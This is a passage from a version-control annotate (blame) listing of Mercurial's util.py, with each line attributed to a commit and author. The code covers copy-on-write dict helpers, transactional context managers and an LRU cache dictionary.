Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   981
    >>> c is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   982
    True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   983
    >>> a = a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   984
    >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   985
    False
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   986
    >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   987
    True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   988
    >>> c = c.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   989
    >>> b is c
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   990
    False
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   991
    >>> b is b.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   992
    True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   993
    """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   994
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   995
class cowsortdict(cow, sortdict):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   996
    """copy-on-write sortdict
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   997
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   998
    Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   999
    """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
  1000
33793
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1001
class transactional(object):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1002
    """Base class for making a transactional type into a context manager."""
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1003
    __metaclass__ = abc.ABCMeta
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1004
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1005
    @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1006
    def close(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1007
        """Successfully closes the transaction."""
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1008
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1009
    @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1010
    def release(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1011
        """Marks the end of the transaction.
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1012
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1013
        If the transaction has not been closed, it will be aborted.
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1014
        """
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1015
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1016
    def __enter__(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1017
        return self
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1018
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1019
    def __exit__(self, exc_type, exc_val, exc_tb):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1020
        try:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1021
            if exc_type is None:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1022
                self.close()
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1023
        finally:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1024
            self.release()
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
  1025
33446
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1026
@contextlib.contextmanager
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1027
def acceptintervention(tr=None):
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1028
    """A context manager that closes the transaction on InterventionRequired
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1029
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1030
    If no transaction was provided, this simply runs the body and returns
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1031
    """
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1032
    if not tr:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1033
        yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1034
        return
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1035
    try:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1036
        yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1037
        tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1038
    except error.InterventionRequired:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1039
        tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1040
        raise
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1041
    finally:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1042
        tr.release()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1043
33619
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
  1044
@contextlib.contextmanager
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
  1045
def nullcontextmanager():
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
  1046
    yield
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
  1047
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1048
class _lrucachenode(object):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1049
    """A node in a doubly linked list.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1050
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1051
    Holds a reference to nodes on either side as well as a key-value
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1052
    pair for the dictionary entry.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1053
    """
30038
42ead5b3aa7b py3: use unicodes in __slots__
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30036
diff changeset
  1054
    __slots__ = (u'next', u'prev', u'key', u'value')
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1055
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1056
    def __init__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1057
        self.next = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1058
        self.prev = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1059
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1060
        self.key = _notset
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1061
        self.value = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1062
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1063
    def markempty(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1064
        """Mark the node as emptied."""
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1065
        self.key = _notset
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1066
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
  1067
class lrucachedict(object):
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1068
    """Dict that caches most recent accesses and sets.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1069
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1070
    The dict consists of an actual backing dict - indexed by original
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1071
    key - and a doubly linked circular list defining the order of entries in
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1072
    the cache.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1073
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1074
    The head node is the newest entry in the cache. If the cache is full,
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1075
    we recycle head.prev and make it the new head. Cache accesses result in
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1076
    the node being moved to before the existing head and being marked as the
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1077
    new head node.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1078
    """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1079
    def __init__(self, max):
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
  1080
        self._cache = {}
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1081
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1082
        self._head = head = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1083
        head.prev = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1084
        head.next = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1085
        self._size = 1
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1086
        self._capacity = max
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1087
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1088
    def __len__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1089
        return len(self._cache)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1090
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1091
    def __contains__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1092
        return k in self._cache
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
  1093
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1094
    def __iter__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1095
        # We don't have to iterate in cache order, but why not.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1096
        n = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1097
        for i in range(len(self._cache)):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1098
            yield n.key
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1099
            n = n.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1100
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1101
    def __getitem__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1102
        node = self._cache[k]
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1103
        self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1104
        return node.value
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1105
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1106
    def __setitem__(self, k, v):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1107
        node = self._cache.get(k)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1108
        # Replace existing value and mark as newest.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1109
        if node is not None:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1110
            node.value = v
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1111
            self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1112
            return
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1113
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1114
        if self._size < self._capacity:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1115
            node = self._addcapacity()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1116
        else:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1117
            # Grab the last/oldest item.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1118
            node = self._head.prev
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
  1119
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1120
        # At capacity. Kill the old entry.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1121
        if node.key is not _notset:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1122
            del self._cache[node.key]
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1123
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1124
        node.key = k
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1125
        node.value = v
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1126
        self._cache[k] = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1127
        # And mark it as newest entry. No need to adjust order since it
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1128
        # is already self._head.prev.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1129
        self._head = node
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
  1130
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1131
    def __delitem__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1132
        node = self._cache.pop(k)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1133
        node.markempty()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1134
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1135
        # Temporarily mark as newest item before re-adjusting head to make
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1136
        # this node the oldest item.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1137
        self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1138
        self._head = node.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1139
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1140
    # Additional dict methods.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1141
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1142
    def get(self, k, default=None):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1143
        try:
29828
79add5a4e857 util: properly implement lrucachedict.get()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29776
diff changeset
  1144
            return self._cache[k].value
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1145
        except KeyError:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1146
            return default
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
  1147
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
  1148
    def clear(self):
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1149
        n = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1150
        while n.key is not _notset:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1151
            n.markempty()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1152
            n = n.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1153
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
  1154
        self._cache.clear()
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1155
27576
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1156
    def copy(self):
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1157
        result = lrucachedict(self._capacity)
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1158
        n = self._head.prev
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1159
        # Iterate in oldest-to-newest order, so the copy has the right ordering
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1160
        for i in range(len(self._cache)):
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1161
            result[n.key] = n.value
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1162
            n = n.prev
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1163
        return result
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1164
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1165
    def _movetohead(self, node):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1166
        """Mark a node as the newest, making it the new head.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1167
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1168
        When a node is accessed, it becomes the freshest entry in the LRU
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1169
        list, which is denoted by self._head.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1170
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1171
        Visually, let's make ``N`` the new head node (* denotes head):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1172
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1173
            previous/oldest <-> head <-> next/next newest
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1174
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1175
            ----<->--- A* ---<->-----
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1176
            |                       |
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1177
            E <-> D <-> N <-> C <-> B
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1178
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1179
        To:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1180
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1181
            ----<->--- N* ---<->-----
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1182
            |                       |
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1183
            E <-> D <-> C <-> B <-> A
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1184
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1185
        This requires the following moves:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1186
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1187
           C.next = D  (node.prev.next = node.next)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1188
           D.prev = C  (node.next.prev = node.prev)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1189
           E.next = N  (head.prev.next = node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1190
           N.prev = E  (node.prev = head.prev)
